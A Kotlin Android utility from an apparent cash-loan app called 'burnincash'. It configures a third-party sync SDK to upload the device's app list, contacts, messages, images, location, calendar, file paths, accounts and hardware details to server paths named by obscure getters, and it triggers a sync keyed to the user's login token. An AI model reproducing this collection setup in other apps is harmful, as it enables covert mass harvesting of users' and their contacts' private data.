package com.test.burnincash.util_burnin.analytics_burnin.util_burnin

import android.app.Application
import com.test.burnincash.bean_burnin.config_info_burnin.UrlInfo_burnin
import com.test.burnincash.constant_burnin.Constant_burnin
import com.test.burnincash.constant_burnin.Url_burnin
import com.test.burnincash.util_burnin.helper_burnin.UserInfoHelper_burnin
import com.zhi.syc.data.ASBuilder
import com.zhi.syc.data.ASSycManager
import java.util.*

object SycDeviceUtil_burnin {

    /**
     * 初始化设备信息模块
     *
     * @param context Application
     */
    fun init(context: Application) {
        try {
            ASBuilder.setMock(false)
            ASBuilder.setLog(true)
            ASBuilder.setServerHost(Url_burnin.Url_Base)
            ASBuilder.setPathApplist(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getSlo())
            ASBuilder.setPathContactResult(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getHyz())
            ASBuilder.setPathContact(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getSyr())
            ASBuilder.setPathMessage(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getLhh())
            ASBuilder.setPathDevice(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getHhw())
            ASBuilder.setPathImage(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getYeh())
            ASBuilder.setPathBattery(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getFgi())
            ASBuilder.setPathHardware(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getIwt())
            ASBuilder.setPathStore(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getFeg())
            ASBuilder.setPathMedia(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getBrf())
            ASBuilder.setPathNetwork(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getNdg())
            ASBuilder.setPathLocation(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getHru())
            ASBuilder.setPathCalendar(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getDhu())
            ASBuilder.setPathScanFilePath(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getVge())
            ASBuilder.setPathSettingAccount(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getFh8())
            ASBuilder.setPathAduid(Url_burnin.PATH_GLOBAL + UrlInfo_burnin.getInstance().getErw())
            ASBuilder.setAppid(Constant_burnin.PRODUCT)
            ASBuilder.setKeyProduct(Constant_burnin.PRODUCT)
            ASSycManager.getInstance().init(context)

        } catch (e: Exception) {
            e.printStackTrace()
        }
    }

    /**
     * 保存设备 s2s信息
     */
    fun saveS2SInfo() {
        try {
            if (UserInfoHelper_burnin.getInstance().didLogin()) {
                val permissions = ArrayList<String>()
                permissions.add(android.Manifest.permission.READ_PHONE_STATE)
//                permissions.add(android.Manifest.permission.READ_SMS)
//                permissions.add(android.Manifest.permission.READ_CALENDAR)
                ASSycManager.getInstance()
                        .sycDataByPermissions(UserInfoHelper_burnin.getInstance().token, permissions, true)
            }
        } catch (e: Exception) {
            e.printStackTrace()
        }
    }
}